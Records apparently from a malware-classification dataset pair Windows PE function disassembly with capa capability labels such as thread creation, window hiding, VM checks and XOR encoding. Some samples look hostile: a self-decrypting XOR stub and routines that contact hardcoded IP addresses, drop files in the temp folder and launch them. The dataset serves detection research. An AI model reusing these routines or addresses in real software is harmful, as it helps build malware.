joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c7b1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, ecx
push esi
xor esi, esi
cmp dword [ebx + 0x10], esi
jne 0x40c815
push 0x42fd84
push 0xa5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
test eax, eax
je 0x40c812
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40c812
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp - 4]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [ebp - 8]
xor ecx, ecx
push edx
push ecx
push eax
push esi
mov dword [ebp - 8], ecx
call dword [sym.imp.GDI32.dll_AddFontMemResourceEx]
mov esi, eax
mov dword [ebx + 0x10], esi
push 0x64
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_LoadIconW]
pop esi
mov dword [ebx + 0xc], eax
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c82b
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push edi
mov edi, ecx
call fcn.004018ab
call fcn.004067ec
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x40c9b3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40c8ad
push ebx
mov dword [edi + 0x20], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x1c], eax
pop edi
pop ebx
pop ecx
ret
Function at 0x412494
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edi
cmp eax, dword [edi + 0x420]
jle 0x4125ac
dec eax
je 0x41255b
dec eax
jne 0x4125a3
mov eax, dword [edi + 0x428]
xor ecx, ecx
mov esi, dword [edi + 0x424]
mov ebx, eax
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, eax
cmova ebx, ecx
test ebx, ebx
je 0x4124f9
xor edi, edi
mov eax, dword [esi]
push 0
push dword [eax + 0x14]
call dword [sym.imp.USER32.dll_ShowWindow]
inc edi
lea esi, [esi + 4]
cmp edi, ebx
jne 0x4124e1
mov edi, dword [ebp - 4]
mov ecx, dword [edi + 0x164]
call fcn.0040c82b
push 0xc8
push 1
mov ecx, edi
call fcn.004125b5
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
xor ebx, ebx
push ebx
push dword [edi + 0x298]
call esi
push ebx
push dword [edi + 0x22c]
call esi
push 1
push dword [edi + 0x3e8]
call esi
push 1
push dword [edi + 0x398]
call esi
push ebx
push dword [edi + 0x18c]
call esi
push ebx
push dword [edi + 0x314]
call esi
push ebx
push dword [edi + 0x1dc]
jmp 0x4125a1
mov eax, dword [edi + 0x41c]
xor ebx, ebx
test eax, eax
je 0x412577
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_KillTimer]
mov dword [edi + 0x41c], ebx
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 1
push dword [edi + 0x298]
call esi
push 1
push dword [edi + 0x22c]
call esi
push ebx
push dword [edi + 0x3e8]
call esi
push ebx
push dword [edi + 0x398]
call esi
mov eax, dword [ebp + 8]
mov dword [edi + 0x420], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x413341
Capabilities:
Hide graphical window

Disassembly:
push 0xb4
mov eax, 0x427b97
call fcn.00418141
mov eax, ecx
mov dword [ebp - 0xa4], eax
xor edx, edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], edx
push edx
lea ecx, [ebp - 0xb4]
mov dword [ebp - 4], edx
push ecx
mov ecx, dword [eax + 0x164]
push edx
add ecx, 0x28
call fcn.0040e375
mov edi, dword [ebp - 0xb4]
mov esi, edi
mov ebx, dword [ebp - 0xb0]
cmp edi, ebx
je 0x4133c7
mov eax, dword [esi]
cmp byte [eax + 0x69], 0
je 0x4133ba
lea ecx, [esi + 4]
mov eax, ebx
sub eax, ecx
and eax, 0xfffffffc
push eax
push ecx
push esi
call fcn.00414c10
add esp, 0xc
sub ebx, 4
jmp 0x4133bd
add esi, 4
cmp esi, ebx
jne 0x413398
mov dword [ebp - 0xb0], ebx
mov eax, dword [ebp - 0xa4]
push 0x492
push dword [eax + 4]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0xa4]
push dword [eax + 4]
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x9c]
push 0
push dword [eax + 4]
push 0xa
pop edx
call fcn.0041412a
mov esi, dword [ebp - 0x18]
sub esi, dword [ebp - 0x20]
sar esi, 1
sub esi, dword [ebp - 0x20]
add esi, dword [ebp - 0x18]
mov dword [ebp - 0x8c], 0x190
mov dword [ebp - 0xc0], esi
pop ecx
pop ecx
cmp edi, ebx
je 0x41357a
mov eax, dword [ebp - 0xa4]
add eax, 0x1e0
mov dword [ebp - 0xb8], eax
mov eax, dword [edi]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0xa0], eax
lea edx, [eax + 0x20]
call fcn.00407394
mov byte [ebp - 4], 1
cmp dword [eax + 0x14], 8
jb 0x413479
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x24]
push ecx
push ecx
push eax
push ecx
push ecx
mov ecx, dword [ebp - 0xa4]
call fcn.00411c26
push 0
push 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0
call fcn.004065b8
add dword [ebp - 0x18], esi
add dword [ebp - 0x20], esi
push 0xb8
call fcn.00414bb9
mov edx, eax
pop ecx
mov dword [ebp - 0xa8], edx
mov byte [ebp - 4], 2
test edx, edx
je 0x4134ea
mov eax, dword [ebp - 0xa0]
push dword [eax + 4]
lea ecx, [eax + 8]
push ecx
mov ecx, edx
call fcn.004107a4
mov esi, eax
mov dword [ebp - 0xa0], eax
jmp 0x4134f2
xor esi, esi
mov dword [ebp - 0xa0], esi
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x9c]
mov dword [esi + 0x90], 0xffffff
mov dword [esi + 0x94], 0x442a1e
mov dword [esi + 4], 0x282216
mov eax, dword [esi]
push ecx
mov ecx, esi
mov dword [ebp - 0xa8], esi
call dword [eax + 0x28]
push dword [ebp - 0xbc]
mov ecx, esi
call fcn.0040fb84
push 0xffffffffffffffff
lea eax, [esi + 0x20]
mov ecx, esi
push eax
call fcn.0040ffcf
mov esi, dword [esi]
mov ecx, dword [ebp - 0xa0]
call dword [esi + 0x4c]
mov ecx, dword [ebp - 0xa0]
movzx eax, al
push eax
call dword [esi + 0x48]
mov ecx, dword [ebp - 0xb8]
lea eax, [ebp - 0xa8]
push eax
call fcn.0040c302
mov esi, dword [ebp - 0xc0]
add edi, 4
cmp edi, ebx
jne 0x41345a
lea ecx, [ebp - 0xb4]
call fcn.0040b0d0
call fcn.004180f0
ret
Function at 0x4140b4
Capabilities:
Check os version

Disassembly:
push ecx
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx ecx, al
shr eax, 8
movzx eax, al
cmp ecx, 0xa
jb 0x4140ef
push str.GetDpiForWindow
push str.user32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x414102
push esi
call eax
jmp 0x414100
cmp ecx, 6
jne 0x414106
cmp eax, 3
jb 0x414106
mov ecx, esi
call fcn.00408851
mov edi, eax
test edi, edi
jne 0x414124
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 0x5a
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
push 0
mov edi, eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x422e1a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4351f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0041a702
mov dword [ebp - 0x14], eax
cmp dword [0x4372dc], esi
jne 0x422f0d
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x422e9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x422fed
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x422fed
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x422fed
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4372dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4372e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4372e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4372ec], eax
test eax, eax
je 0x422f0a
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4372e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x422f32
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x422f25
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x422f47
push 4
pop eax
jmp 0x422fef
cmp dword [ebp - 0x14], esi
je 0x422f47
push dword [0x4372dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x422f2c
mov eax, dword [0x4372e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x422fa5
cmp dword [0x4372ec], edi
je 0x422fa5
push eax
call ebx
push dword [0x4372ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x422fa5
test eax, eax
je 0x422fa5
call ecx
test eax, eax
je 0x422f9a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x422f9a
test byte [ebp - 8], 1
jne 0x422fa5
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x422fd5
mov eax, dword [0x4372e0]
cmp eax, edi
je 0x422fd2
push eax
call ebx
test eax, eax
je 0x422fd2
call eax
mov esi, eax
test esi, esi
je 0x422fd2
mov eax, dword [0x4372e4]
cmp eax, edi
je 0x422fd2
push eax
call ebx
test eax, eax
je 0x422fd2
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4372dc]
call ebx
test eax, eax
je 0x422fed
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x422fef
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041453f
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x19ec88c
Capabilities:
Check for vm using instruction vpcext
Encode data using xor

Disassembly:
jmp 0x19ec896
pushal
call 0x19ec89c
pop ebp
sub ebp, 0x10
sub ebp, 0x9ec88c
jmp 0x19ec8b2
mov eax, 0x9ec88c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a7
mov edx, 0x61e9943f
xor byte [eax], dl
inc eax
dec ecx
jne 0x19ec8c9
jmp 0x19ec8dc
mov ah, 0xf2
mov ah, 0xb6
add edi, dword [edi]
aas
aas
mov esi, 0x3f3fc7fe
aas
cmp al, 0xf2
xchg dword [edx], edi
aas
aas
aas
test dword [edi], edx
aas
aas
aas
enter 0x3cdd, 0xfffffffffffffff7
mov ah, 0xbe
xor edi, dword [edi]
aas
aas
cmp al, 0xfa
mov dl, 0x5b
sbb eax, ebx
mov dh, 0x3b
sbb ebp, dword [edi + 0x57]
mov bh, 0x1f
sbb eax, 0x973b573f
inc ebx
aas
adc ebx, dword ds:[ebx]
push edi
push eax
push edi
dec esi
xlatb
cmp bh, byte [edi]
aas
aas
salc
invalid
Function at 0x56e788
Capabilities:
Encode data using xor

Disassembly:
jbe 0x56e7b0
movsd dword es:[edi], dword [esi]
mov ecx, 0x7e048996
rcr dword [eax], cl
lcall 0xf3bb, 0xc608a97
xchg esi, eax
xchg esi, eax
xor dword [esi + 0x60739c98], 0xffffffa4
daa
in al, 0xae
aad 0x41
xlatb
xor eax, 0x56145c27
in al, dx
cmp dword [ebp + 0x12], ecx
adc bl, byte [eax - 0x6a]
pop eax
xchg esi, eax
push 0x84f5d65c
loop 0x56e798
shr dword [eax], 1
out 0xce, eax
mov bh, 5
cmpsd dword [esi], dword es:[edi]
adc byte [ebx - 0x2b54cfe], ch
dec esi
push 0xffffffffffffffbd
push ebx
mov ebp, 0x8aef3842
jecxz 0x56e785
mov dl, 0x8b
mov bh, 0x88
xor bh, ah
dec esp
mov bh, al
adc byte [ebp - 8], al
push edi
or eax, dword [ebx + 0x28da77eb]
inc ebp
jge 0x56e84d
add al, 0x58
cdq
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
int3
cdq
pop esi
sub al, 0x19
cmp ah, byte [ebx]
push ebx
into
les esi, [esi + 0x64]
push 0xd5c928cc
mov dl, 0x58
xchg byte [eax], bl
mov ebp, 0xcede4b35
sub al, 0x24
imul byte [ecx + 0x4a]
test al, 0xa7
pop esi
mov ah, 0x23
jo 0x56e8d9
out 0x81, eax
mov dl, 0x3e
mov al, 0xa6
leave
push ebx
bound eax, qword [edx - 0x5acc4d72]
sub dl, byte [ecx]
push ss
mul byte [esi + 0xa]
int 0xc2
dec edx
xchg edx, eax
cmp byte [esi - 0x2a], cl
aas
and byte [edx], 0x9a
hlt
or dh, ch
jb 0x56e84f
push edi
out dx, al
ljmp 0x7e5a
mov edi, edx
sub byte [eax + 0x64849cc2], 0x43
xchg dword [edi], ebx
jno 0x56e91c
inc edi
sub al, 0x5b
xchg byte [eax + 0x42], bl
pop ecx
inc ebx
cli
pop ebp
shl dword cs:[edi - 0x63], 0x82
invalid
jmp 0x56e8a2

Function at 0x601368
Capabilities:
Encode data using xor

Disassembly:
or byte [ebx + 0x63], bh
imul esi, dword [edi + 0x71], 0x648ae968
leave
inc esi
fsubr dword [ecx + 0x42365ca4]
sub ebp, dword [ebp + 0x1da1eba0]
sar dword [ecx], 0x72
test edi, eax
mov bh, 0x20
dec ecx
mov al, bh
xchg edi, eax
xor byte [edi + 0x49], 0xa2
test eax, 0xbac1904f
sbb ebp, 0x72
jb 0x60133a
xlatb
jb 0x60133a
xlatb
inc edi
jns 0x60135a
div dword [eax]
mov cl, byte [ecx]
idiv byte [ecx]
add al, 0xbf
dec edx
cmp byte [esi], al
retf
Function at 0x401130
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x401194
mov eax, dword [ebp + 0x14]
shl dword [ebp + 0x10], 8
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov ebx, dword [ebp + 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push esi
mov cl, byte [ecx]
movsx edx, cl
sub cl, 0x61
cmp cl, 0x19
mov ecx, dword [ebp + 0x10]
lea esi, [edx - 0x20]
cmova esi, edx
mov edx, dword [ebp - 4]
add ecx, esi
add eax, ebx
xor eax, dword [edx + ecx*4]
mov ecx, ebx
shl ecx, 5
add ecx, 3
add ecx, esi
add ebx, ecx
mov ecx, dword [ebp + 8]
inc ecx
add ebx, eax
mov dword [ebp + 8], ecx
sub edi, 1
jne 0x401153
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
pop edi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x401ae0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40406c], eax
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.mifedount
push str.Deltapo
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401b33
xor eax, eax
jmp 0x401b4e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x244
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x240], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_LoadStringW]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
push 0x416de0
push 0x67
push esi
call ebx
push 0x64
mov edi, 0x416d18
push edi
push 0x6d
push esi
call ebx
push 0x6b
xor ebx, ebx
push esi
mov dword [esp + 0x18], 0x30
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], 0x4011d7
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], esi
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x7f00
push ebx
mov dword [esp + 0x30], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [esp + 0x28]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 6
mov dword [esp + 0x3c], 0x6d
mov dword [esp + 0x40], edi
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push ebx
push esi
push ebx
push ebx
push ebx
mov eax, closesocket
push eax
push ebx
push eax
push 0xcf0000
push 0x416de0
push edi
push ebx
mov dword [0x416ea8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4010f3
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404588
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call edi
call fcn.004026a0
call fcn.00401e23
test eax, eax
je 0x401123
call fcn.00402ef0
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00401248
test eax, eax
je 0x4010da
call fcn.0040139e
mov eax, dword [0x417748]
cmp eax, ebx
jbe 0x40115b
cmp word [0x41774c], bx
jbe 0x40115b
push eax
mov esi, str.218.54.47.74
call fcn.004036a0
mov ax, word [0x41774c]
pop ecx
mov word [0x415f2c], ax
xor eax, eax
movzx ecx, word [eax + 0x413254]
mov word [eax + 0x417c80], cx
add eax, 2
cmp cx, bx
jne 0x40115d
call fcn.00403710
xor eax, eax
push 0x206
mov word [esp + 0x44], ax
lea eax, [esp + 0x46]
push ebx
push eax
call fcn.00407ee0
add esp, 0xc
lea eax, [esp + 0x40]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x417c80
lea eax, [esp + 0x44]
push esi
push eax
call fcn.00404597
add esp, 0xc
push 0x1f4
call edi
push 1
push ebx
push 0x41326c
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40111c
Function at 0x401248
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor ebx, ebx
lea eax, [ebp - 0x46]
push ebx
push eax
call fcn.00407ee0
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.004031a0
xor eax, eax
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416eb0], cx
add eax, 2
cmp cx, bx
jne 0x40127f
mov esi, 0x416eb0
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
cmp eax, ebx
je 0x4012b7
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40138f
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x4012b0
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x417880
call fcn.00401b26
pop ecx
test eax, eax
jne 0x401372
movzx ecx, word [eax + str.hoidyet]
mov word [eax + 0x417a28], cx
add eax, 2
cmp cx, bx
jne 0x4012ea
push str.218.54.47.77
push 0x40
push 0x417884
call fcn.0040460c
add esp, 0xc
push str.AAAA
push 0x10
push 0x417906
call fcn.0040460c
add esp, 0xc
push 0x4132a8
push 0x40
push 0x417926
call fcn.0040460c
add esp, 0xc
push 0x51
pop eax
mov word [0x417904], ax
mov eax, 0x2b8e
mov word [0x4179a6], ax
xor eax, eax
movzx ecx, word [eax + str.gudyt]
mov word [eax + 0x417a08], cx
add eax, 2
cmp cx, bx
jne 0x401352
mov dword [0x417a48], 5
call fcn.00403240
call fcn.004017c5
push ebx
push ebx
push ebx
push 0x4015fc
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404588
leave
ret
Function at 0x40169a
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
push 0x413378
call fcn.00403900
pop ecx
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x4017b6
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407ee0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407ee0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x40174c
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040460c
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404597
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x40171e
cmp word [edi], 0
je 0x401771
push dword [ebp + 8]
mov ecx, edi
push 0x413378
call fcn.00404200
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x40175a
push 0x417c80
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.00404597
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4017b0
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404588
leave
ret